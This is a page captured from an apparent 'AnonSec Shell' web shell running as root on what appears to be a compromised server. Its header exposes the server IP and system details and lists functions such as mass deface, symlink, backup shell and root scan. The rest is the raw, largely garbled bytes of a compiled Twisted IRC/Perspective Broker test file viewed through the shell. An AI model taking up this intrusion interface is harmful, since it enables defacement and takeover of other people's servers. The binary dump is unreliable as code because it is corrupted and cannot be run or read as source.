AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/words/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/words/test/__pycache__/test_service.cpython-310.pyc
o

�b�o�@s�dZddlZddlmZmZmZddlmZmZm	Z	ddl
mZmZm
Z
mZddlmZddlmZddlmZdd	lmZmZdd
lmZGdd�dej�ZGd
d�d�ZGdd�dej�ZGdd�dej�Ze� eej!�Gdd�dej�Z"dS)z%
Tests for L{twisted.words.service}.
�N)�checkers�credentials�portal)�address�defer�reactor)�Deferred�DeferredList�
maybeDeferred�succeed)�pb)�
proto_helpers)�unittest)�ewords�service)�ircc@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�
RealmTestscCs$t�d�}d|��}t|d|���}t|d|���}d|��d}ttd|���}ttd|���}|�||��}	|�||	j�|�	||���
|�t||d�|�|d	|����}	|�d	|��|	j�|�|d	|����}
|�|	|
�t||d
�|�	|d|�����
|�dS)N�	realmname�test�create�get�	OnRequest�	Duplicate�NoSuchT�newF�another)
r�InMemoryWordsRealm�lower�getattr�titler�successResultOf�assertEqual�name�failureResultOf�trap�setattr�assertIdentical)�self�kind�realmr"rr�flag�dupExc�	noSuchExc�p�newp�r/�A/usr/lib/python3/dist-packages/twisted/words/test/test_service.py�_entityCreationTests"
 zRealmTests._entityCreationTestcC�
|�d�S)N�User�r1�r'r/r/r0�testUserCreation4�
zRealmTests.testUserCreationcCr2)N�Groupr4r5r/r/r0�testGroupCreation7r7zRealmTests.testGroupCreationcCsnt�d�}|�|�d��}|�|�d��}|�||�|�|�d��}|�||�|�|�d���t	j
�dS)Nr�testuser�
nosuchuser)rrr �
createUser�getUserr&�
lookupUserr#r$r�
NoSuchUser)r'r)�user�	retrieved�lookedUpr/r/r0�testUserRetrieval:s
zRealmTests.testUserRetrievalcCslt�d�}t�d�}|�|�|��}|�||�|�|�d��}|�||�|�|�d��}|�||�dS)Nrr:)rrr3r �addUserr&r=r>)r'r)r-r@rArBr/r/r0�testUserAdditionKs

zRealmTests.testUserAdditioncCsRt�d�}|�|�d��}|�|�d��}|�||�|�|�d���tj	�dS)Nr�	testgroup�nosuchgroup)
rrr �createGroup�getGroupr&r#r$r�NoSuchGroup)r'r)�grouprAr/r/r0�testGroupRetrieval[s

zRealmTests.testGroupRetrievalcCsDt�d�}t�d�}|�|�|��|�|�d��}|�||�dS)NrrF�	testGroup)rrr8r �addGrouprIr&)r'r)r-rKr/r/r0�testGroupAdditionfs


zRealmTests.testGroupAdditioncCs.t�d�}|�|�d��|�|�d��dS)z�
        Try creating a group with the same name as an existing user and
        assert that it succeeds, since users and groups should not be in the
        same namespace and collisions should be impossible.
        rrN)rrr r<rH)r'r)r/r/r0�testGroupUsernameCollisionns
z%RealmTests.testGroupUsernameCollisioncCsbt�d�}|�|�d��|�|�d��|�|���}dd�|D�}|��|�|ddg�dS)Nr�groupone�grouptwocSsg|]}|j�qSr/)r")�.0�gr/r/r0�
<listcomp>�sz.RealmTests.testEnumeration.<locals>.<listcomp>)rrr rH�
itergroups�sortr!)r'r)�groups�nr/r/r0�testEnumerationys
zRealmTests.testEnumerationN)�__name__�
__module__�__qualname__r1r6r9rCrErLrOrPrZr/r/r/r0rsrc@s*eZdZe�ddd�fdd�Zdd�ZdS)	�TestCaseUserAgg�TCP�	127.0.0.1i1�cCsB||_t��|_|�|�|_|j|j_|j|j_|j�|j�dS�N)r@r
� StringTransportWithDisconnection�	transport�
buildProtocol�protocol�mind�makeConnection)r'r@r)�factoryrr/r/r0�__init__�s


zTestCaseUserAgg.__init__cCs|j�|�dSra)re�dataReceived)r'�stuffr/r/r0�write�szTestCaseUserAgg.writeN)r[r\r]r�IPv4Addressrirlr/r/r/r0r^�s
�r^c@s�eZdZgd�Zdd�Zdd�Zd3dd�Zd	d
�Zd3dd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�ZdS)4�IRCProtocolTests)�useruser�	otheruser�someguy�	firstuser�username�userone�usertwo�	userthree�userfoursuserfive�someusercCs�t�d�|_t��|_t�|j|jg�|_t�|j|j�|_	g}|j
D]}t|t�r/|�
d�}|�|j�|��|j�||d�q#t|�S)Nr�utf-8�	_password)rrr)r�'InMemoryUsernamePasswordDatabaseDontUse�checkerr�Portal�
IRCFactoryrh�STATIC_USERS�
isinstance�bytes�decode�appendr<rDr	)r'�c�nickr/r/r0�setUp�s



zIRCProtocolTests.setUpcCsV|�|�}tjtjtjtjg}|D]\}}}||vr|�|�q|�|d|���dS)z�
        The user has been greeted with the four messages that are (usually)
        considered to start an IRC session.

        Asserts that the required responses were received.
        zMissing responses for N)�	_responser�RPL_WELCOME�RPL_YOURHOST�RPL_CREATED�
RPL_MYINFO�remove�assertFalse)r'r@�response�expected�prefix�command�argsr/r/r0�_assertGreeting�s

�z IRCProtocolTests._assertGreetingNcCs8|dur|d}|�d|�d��|�d|�d��dS)NrzzPASS z
zNICK z extrainfo
)rl)r'r@r��passwordr/r/r0�_login�szIRCProtocolTests._logincCs2|�|j�|��}t||j|j�}|�||�|Sra)r r)r>r^rhr�)r'r"r@�aggr/r/r0�
_loggedInUser�szIRCProtocolTests._loggedInUsercCsp|j��}ttkrt|t�r|�d�}|��}|j��g}tt	j
|�D]}|dus0|d|kr5|�|�q$|S)z�
        Extracts the user's response, and returns a list of parsed lines.
        If messageType is defined, only messages of that type will be returned.
        ryN�)rc�valuer��strr�r��
splitlines�clear�mapr�parsemsgr�)r'r@�messageTyper��result�messager/r/r0r��s



�zIRCProtocolTests._responsecCs|�d�}|�|�dS)Nrr)r�r�)r'r@r/r/r0�
testPASSLogin�s
zIRCProtocolTests.testPASSLogincCs�|�|j�d��}t||j|j�}|�d�|�|d�}|�t|�d�|�|ddt	j
�|�|ddd�|�|ddddg�|j��|�d�|�
|�d	S)
z�
        Sending NICK without PASS will prompt the user for their password.
        When the user sends their password to NickServ, it will respond with a
        Greeting.
        rrzNICK firstuser extrainfo
�PRIVMSGr�r�z	Password?z%PRIVMSG nickserv firstuser_password
N)r r)r>r^rhrlr�r!�lenr�NICKSERVrcr�r��r'rrr@r�r/r/r0�test_nickServLogin�s


z#IRCProtocolTests.test_nickServLogincCsh|�|j�d��}t||j|j�}|�|dd�|�|d�}|�t|�d�|�|ddddg�dS)Nrr�	wrongpassr�r�rr�zLogin failed.  Goodbye.)	r r)r>r^rhr�r�r!r�r�r/r/r0�testFailedLogin�sz IRCProtocolTests.testFailedLogincs^g�|�|j�d��}t||j|j�}|�|d��fdd�|j_|�d�|�	�dg�dS)Nrrcs
��d�S)NT)r�r/��logoutr/r0�<lambda>�
z-IRCProtocolTests.testLogout.<locals>.<lambda>zQUIT
T)
r r)r>r^rhr�rer�rlr!)r'rrr@r/r�r0�
testLogouts
zIRCProtocolTests.testLogoutcCs�|�|j�d��}|�|j�d��}d|jd<t||j|j�}|�|d�|j�	�|�
d�|�|�}|�t
|�d�|�|ddd�|�|dd	d
�|�|dddg�|�|d	d	d
�|�|dd	d�|�|dd	d�|�|dd	d�|�d�}|j�	�|j�	�|�
d�|�|�}|�|�}|�t
|�d	�|�|ddd�|�|dd	d
�|�|dddg�|�|d	dd�|�|d	d	d
�|�|d	dgd�gd�g�dS)Nrr�somechannelzsome random topic�topic�JOIN #somechannel
�rzfirstuser!firstuser@realmnamer��JOINr��#somechannel�353�366��332��333rp�otheruser!otheruser@realmnamer)rp�=r�zfirstuser otheruser)rpr�r�zotheruser firstuser)r r)r>rH�metar^rhr�rcr�rlr�r!r�r��assertIn)r'rrr�r@r��other�eventr/r/r0�testJoinsD










��zIRCProtocolTests.testJoincCs�|�|j�d��}|�|j�d��t||j|j�}|�|d�|j��|�	d�|�
|�}dd�|D�}|�d|�|�d|�dS)	zo
        When a user joins a group without a topic, no topic information is
        sent to that user.
        rrr�r�cSsg|]}|d�qS)r�r/)rS�rr/r/r0rUSsz7IRCProtocolTests.test_joinTopicless.<locals>.<listcomp>r�r�N)r r)r>rHr^rhr�rcr�rlr��assertNotIn)r'rrr@r��
responseCodesr/r/r0�test_joinTopiclessCs


z#IRCProtocolTests.test_joinTopiclesscCs|�d�}|�|j�d��|�d�|j��|�d�}|�d�|j��|j��|�d�|�|�}|�|�}|�t	|�d�|�|ddd�|�|ddd	�|�|dd
ddg�|�||�|�d�|j��|j��|�d
�|�|�}|�|�}|�t	|�d�|�|ddd�|�|ddd	�|�|dd
ddg�|�||�|�d�|j��|j��|�d�|�|�}|�|�}|�t	|�d�|�|ddd�|�|ddd	�|�|dd
ddg�|�||�dS)Nror�r�rpzPART #somechannel
r�r�useruser!useruser@realmname�PARTr�r��leavingz(PART #somechannel :goodbye stupidheads
zgoodbye stupidheadssJOIN #somechannel
s)PART #somechannel :goodbye stupidheads1
zgoodbye stupidheads1�
r�r r)rHrlrcr�r�r!r��r'r@r�r�r�r/r/r0�	testLeaveWsL





















zIRCProtocolTests.testLeavecCsH|�d�}t�d�}d|jd<d|jd<d|jd<|�|j�|��|j��|�	d	�|�
|�}|�|d
dd�|�|d
d
d�|�|d
dgd��|�|dd
d�|�|ddgd��|j��|�	d�|�
|�}|�|dd
d�|�|ddgd��|�|d
d
d�|�|d
dgd��dS)Nror��This is a test topic.r��some_fellow�topic_authoriqˢ�
topic_dater�r�rrr�r�r�)ror�r�r�r�)ror�r��77777777�TOPIC #somechannel
)r�rr8r�r r)rNrcr�rlr�r!)r'r@rKr�r/r/r0�testGetTopic�s:







��


��zIRCProtocolTests.testGetTopiccCsn|�d�}|�|j�d��}|�d�|�d�}|�d�|j��|j��|�d�|�|�}|�|�}|�||�|�|ddd�|�|ddd	�|�|dd
ddg�|j��d
|j	d<|�d�|�|�}|�|ddd�|�|dd
gd��|�|ddd�|�|dd
gd��|j��|�d�|�|�}|�|ddd�dS)Nror�r�rpz,TOPIC #somechannel :This is the new topic.
rr�r��TOPICr�r��This is the new topic.i90r�r�r�)rpr�r�r�)rpr�rp�12345zTOPIC #asdlkjasd
�403)
r�r r)rHrlrcr�r�r!r�)r'r@r�r�r�r�r/r/r0�testSetTopic�s<












��


zIRCProtocolTests.testSetTopiccCs�|�d�}|�|j�d��|�d�|�d�}|�d�|j��|j��|�d�|�|�}|�|�}|�|�|�	t
|�d�|�	|ddd�|�	|ddd	d
�|�	|dddd
g�dS)Nror�r�rpz%PRIVMSG #somechannel :Hello, world.
r�rr�r����r�r�z
Hello, world.)r�r r)rHrlrcr�r�r�r!r�r�r/r/r0�testGroupMessage�s









z!IRCProtocolTests.testGroupMessagecCs|�d�}|�d�}|j��|j��|�d�|�|�}|�|�}|�|�|�t|�d�|�|ddd�|�|ddd�|�|dddd	g�|�d
�|�|�}|�t|�d�|�|ddd�|�|ddd�|�|ddgd
��dS)Nrorpz#PRIVMSG otheruser :Hello, monkey.
r�rr�r�r�zHello, monkey.z)PRIVMSG nousernamedthis :Hello, monkey.
r�401)ro�nousernamedthiszNo such nick/channel.)r�rcr�rlr�r�r!r�r�r/r/r0�testPrivateMessages(









�z#IRCProtocolTests.testPrivateMessagecC�P|�d�}|j��|�d�|�|�}|�t|�d�|�|ddd�dS)NrozOPER user pass
r�r�491�r�rcr�rlr�r!r��r'r@r�r/r/r0�testOper!s



zIRCProtocolTests.testOpercCs||�d�}|j��|�d�|�|�}|�t|�d�|�|ddd�|�|ddd�|�|ddddg�dS)	NrozMODE useruser
r�rr�221r��+r�r�r/r/r0�testGetUserMode+s



z IRCProtocolTests.testGetUserModecCr�)NrozMODE useruser +abcd
r�r�472r�r�r/r/r0�testSetUserMode7s



z IRCProtocolTests.testSetUserModecC�l|�d�}|�|j�d��|�d�|j��|�d�|�|�}|�t	|�d�|�|ddd�dS)Nror�r�zMODE #somechannel
r�r�324r�r�r/r/r0�testGetGroupModeA�




z!IRCProtocolTests.testGetGroupModecCr�)Nro�	groupname�JOIN #groupname
zMODE #groupname +abcd
r�rr�r�r�r/r/r0�testSetGroupModeOr�z!IRCProtocolTests.testSetGroupModec	Cs�t�d�}|�|j�|��g}dD]}|�|�}|�|�|d�d�q|D]}|j�	�q(|d�d�|�
|d�}|�|�
|d��|�|�
|d��gd�}|dd�D]M\}}	}
|�|d	�|�|	d
�|
\}}}}
}}}}|�|d�|�|d�|�
||v�|�|
d	�|�|d	�|�|�|�|d
�|�|d|�q\|�|�|d\}}	}
|�|d	�|�|	d�|
\}}}|�|d�|�|d�|�|d�dS)Nr�)rtrurvr�r�rzWHO #groupname
r�r�r�352rtz
#groupname�Hz0 �315zEnd of /WHO list.)rr8r r)rNr�r�rlrcr�r�r�r!�
assertTruer�)r'rK�usersr��ur@r��	wantusersr��coderk�myname�	theirname�	theirhost�theirserver�	theirnickr*�extra�channelr/r/r0�testWho]sV


�


zIRCProtocolTests.testWhocCs�|�d�}|j��|�|j�d��}dd�|_d|jd<|�d�|�	|�}|�
t|�d�|\}}|�
|d	d
�|�
|dd�|�
|dd	d�|�
|ddd�|�
|ddd
�|�
|ddd�|�
|d	d
�|�
|dd�|�
|dd	d�|�
|ddd�|j��|�d�|�	|�}|�
t|�d�|\}}|�
|dd�|�
|ddd�|�
|ddd
�|�
|ddd�|�
|dd�dS)Nrx�	somegroupcSstd�S)N�)rr/r/r/r0r��sz+IRCProtocolTests.testList.<locals>.<lambda>zthis is the topic woor�zLIST #somegroup
r�rrr��322�17r��323zEnd of /LISTzLIST
)r�rcr�r r)rH�sizer�rlr�r!r�)r'r@r�r��resp�end�fg1r/r/r0�testList�s:








zIRCProtocolTests.testListc	Cs�|�d�}t�d�}dd�|_d|_t��d|_|�|j�	|��|j
��|�d�|�
|�}|�t|�d�|\}}}}}|�|d	d
�|�|dd�|�|d
d	d�|�|d
dd�|�|d
d
d�|�|d
dd
�|�|d
dd�|�|d
dd�|�|d	d
�|�|dd�|�|d
d	d�|�|d
dd�|�|d
d
d
�|�|d
dd�|�|d	d
�|�|dd�|�|d
d	d�|�|d
dd�|�|d
d
d�|�|d
dd�|�|d
dd�|�|d	d
�|�|dd�|�|d
d	d�|�|d
dd�|�|d
d
d�|�|d	d
�|�|dd�|�|d
d	d�|�|d
dd�|�|d
d
d�dS)Nrq�otherguycSstt�d�t�d�g�S)N�groupA�groupB)�iterrr8r/r/r/r0r��s�z,IRCProtocolTests.testWhois.<locals>.<lambda>�
�zWHOIS otherguy
r�rrr��311r�r�r��*�312zHi mom!�317�15�10zseconds idle, signon time�319z#groupA #groupB�318zEnd of WHOIS list.)r�rr3rV�signOn�time�lastMessager r)rDrcr�rlr�r!r�)	r'r@r	r��wuser�wserver�idle�channelsrr/r/r0�	testWhois�sT





zIRCProtocolTests.testWhoisra)r[r\r]rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr/r/r/r0rn�s4

	
7;*.

3+rnc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�TestMindcOsg|_g|_g|_g|_dSra)�joins�parts�messagesr�)r'�a�kwr/r/r0ri�s
zTestMind.__init__cC�|j�||f�dSra)r r�)r'r@rKr/r/r0�remote_userJoined��zTestMind.remote_userJoinedcC�|j�|||f�dSra)r!r�)r'r@rK�reasonr/r/r0�remote_userLeft��zTestMind.remote_userLeftcCr(ra)r"r�)r'�sender�	recipientr�r/r/r0�remote_receiver+zTestMind.remote_receivecCr%ra)r�r�)r'rKr�r/r/r0�remote_groupMetaUpdater'zTestMind.remote_groupMetaUpdateN)r[r\r]rir&r*r.r/r/r/r/r0r�src@s:eZdZdd�Zdd�Zdd�Zdd�Zejd	d
��Z	dS)�PBProtocolTestscCs�t�d�|_t��|_t�|j|jg�|_t�	|j�|_
|j|j
_d|j
_
t��|_d|j_
t�d|j
�|_t�d|j��j|j�|_dS)NrTrr`)rrr)rr{r|rr}r�PBServerFactory�
serverFactory�_protocolFactoryre�unsafeTracebacks�PBClientFactory�
clientFactoryr�	listenTCP�
serverPort�
connectTCP�getHost�port�
clientConnr5r/r/r0r�s



�zPBProtocolTests.setUpcOst�d�|_|jS)Nr)r�Broker�_serverProtocol)r'r�r$r/r/r0r3sz PBProtocolTests._protocolFactorycs8t��|j��fdd��tt|jj�t|jj��g�S)Ncs
��d�Sra)�callbackr/��d3r/r0r�r�z*PBProtocolTests.tearDown.<locals>.<lambda>)	rr>�notifyOnDisconnectr	r
r8�
stopListeningr<�
disconnectr5r/r@r0�tearDowns

��zPBProtocolTests.tearDowncsX|}t|t�r|�d�}t�||���j�||��j�|�}|�	���fdd��|S)N�asciics�j����Sra)r6�login)�ign��credsrfr'r/r0r�/sz1PBProtocolTests._loggedInAvatar.<locals>.<lambda>)
r�r��encoder�UsernamePasswordr|rDr)r<�addCallback)r'r"r�rf�	nameBytes�dr/rIr0�_loggedInAvatar(s

zPBProtocolTests._loggedInAvatarc	cs��t�}|�dd|�V}t�}|�dd|�V}t�}|�dd|�V}|j�d�V|j�d�V|�d�V}|�d�V}|�d�V|�d�V|�d�V|�d	d
i�V|��V|��VdS)N�onesp1�twosp2sthreesp3�foobarsbarfoostextshello, monkeys)rrPr)rH�join�send�leave)	r'�mindonerQ�mindtworR�	mindThree�threerQrRr/r/r0�
testGroups2s"�
zPBProtocolTests.testGroupsN)
r[r\r]r�r3rErPr�inlineCallbacksr[r/r/r/r0r0
s
r0)#�__doc__r�twisted.credrrr�twisted.internetrrr�twisted.internet.deferrr	r
r�twisted.spreadr�twisted.testr
�
twisted.trialr�
twisted.wordsrr�twisted.words.protocolsr�TestCaserr^rn�PBMindr�setUnjellyableForClass�PBMindReferencer0r/r/r/r0�<module>s(r^

Anon7 - 2022
AnonSec Team